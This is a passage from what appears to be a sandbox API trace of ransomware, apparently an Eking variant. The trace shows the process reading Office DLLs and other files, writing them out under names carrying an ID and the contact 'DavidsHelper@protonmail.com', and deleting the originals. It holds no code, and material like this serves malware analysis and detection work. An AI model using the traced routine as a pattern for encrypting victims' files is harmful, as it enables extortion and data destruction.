nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x110102, lpOverlapped=0x0) returned 1 [0270.911] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x42e7e, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x42e7e, lpOverlapped=0x0) returned 1 [0270.912] FlushFileBuffers (hFile=0x1b4) returned 1 [0271.134] FlushFileBuffers (hFile=0xc0) returned 1 [0271.294] CloseHandle (hObject=0x1b4) returned 1 [0271.294] CloseHandle (hObject=0xc0) returned 1 [0271.295] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 1 [0271.311] SetEvent (hEvent=0xe0) returned 1 [0271.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0271.313] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=41864) returned 1 [0271.313] CloseHandle (hObject=0xc0) returned 1 [0271.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0271.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0271.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0271.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0271.313] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0271.314] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0271.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0271.314] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xa388, lpOverlapped=0x0) returned 1 [0271.317] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xa390, lpOverlapped=0x0) returned 1 [0271.319] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0271.319] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0271.319] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0271.319] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa388, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xa388, lpOverlapped=0x0) returned 1 [0271.320] FlushFileBuffers (hFile=0xc0) returned 1 [0271.324] FlushFileBuffers (hFile=0x1b4) returned 1 [0271.325] CloseHandle (hObject=0xc0) returned 1 [0271.326] CloseHandle (hObject=0x1b4) returned 1 [0271.326] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 1 [0271.328] SetEvent (hEvent=0xe0) returned 1 [0271.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0271.329] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=11656) returned 1 [0271.329] CloseHandle (hObject=0x1b4) returned 1 [0271.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0271.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0271.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0271.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0271.330] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0271.330] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0271.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0271.331] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x2d88, lpOverlapped=0x0) returned 1 [0271.334] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x2d90, lpOverlapped=0x0) returned 1 [0271.335] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0271.335] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0271.335] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0271.335] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2d88, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x2d88, lpOverlapped=0x0) returned 1 [0271.336] FlushFileBuffers (hFile=0x1b4) returned 1 [0271.339] FlushFileBuffers (hFile=0xc0) returned 1 [0271.342] CloseHandle (hObject=0x1b4) returned 1 [0271.343] CloseHandle (hObject=0xc0) returned 1 [0271.343] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 1 [0271.344] SetEvent (hEvent=0xe0) returned 1 [0271.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0271.345] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1941) returned 1 [0271.345] CloseHandle (hObject=0xc0) returned 1 [0271.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0271.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0271.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0271.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0271.346] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0271.346] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0271.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0271.347] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x795, lpOverlapped=0x0) returned 1 [0271.348] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x7a0, lpOverlapped=0x0) returned 1 [0271.350] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0271.350] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0271.350] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0271.350] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x795, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x795, lpOverlapped=0x0) returned 1 [0271.350] FlushFileBuffers (hFile=0xc0) returned 1 [0271.354] FlushFileBuffers (hFile=0x1b4) returned 1 [0271.356] CloseHandle (hObject=0xc0) returned 1 [0271.357] CloseHandle (hObject=0x1b4) returned 1 [0271.357] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0271.359] SetEvent (hEvent=0xe0) returned 1 [0271.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0271.360] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=105344) returned 1 [0271.360] CloseHandle (hObject=0x1b4) returned 1 [0271.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0271.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0271.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0271.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0271.360] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0271.360] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0271.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0271.361] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x19b80, lpOverlapped=0x0) returned 1 [0271.365] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x19b90, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x19b90, lpOverlapped=0x0) returned 1 [0271.368] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0271.368] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0271.368] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0271.368] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x19b80, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x19b80, lpOverlapped=0x0) returned 1 [0271.369] FlushFileBuffers (hFile=0x1b4) returned 1 [0271.373] FlushFileBuffers (hFile=0xc0) returned 1 [0271.375] CloseHandle (hObject=0x1b4) returned 1 [0271.376] CloseHandle (hObject=0xc0) returned 1 [0271.376] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 1 [0271.378] SetEvent (hEvent=0xe0) returned 1 [0271.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0271.379] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3213192) returned 1 [0271.379] CloseHandle (hObject=0xc0) returned 1 [0271.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0271.379] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0271.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0271.380] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0271.380] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0271.381] ReadFile (in: hFile=0xc0, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0271.385] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0271.385] ReadFile (in: hFile=0xc0, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0271.397] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0271.397] ReadFile (in: hFile=0xc0, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0271.516] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0271.516] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0271.535] SetEndOfFile (hFile=0xc0) returned 1 [0271.535] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0271.535] WriteFile (in: hFile=0xc0, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0271.536] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0271.536] WriteFile (in: hFile=0xc0, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0271.539] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0271.539] WriteFile (in: hFile=0xc0, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0271.540] FlushFileBuffers (hFile=0xc0) returned 1 [0271.926] CloseHandle (hObject=0xc0) returned 1 [0271.926] SetEvent (hEvent=0xe0) returned 1 [0271.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0271.927] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=43408) returned 1 [0271.927] CloseHandle (hObject=0xc0) returned 1 [0271.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0271.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0271.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0271.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0271.928] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0271.928] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0271.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0271.928] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xa990, lpOverlapped=0x0) returned 1 [0271.999] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa9a0, lpNumberOfBytesWritten=0x2fafb20, 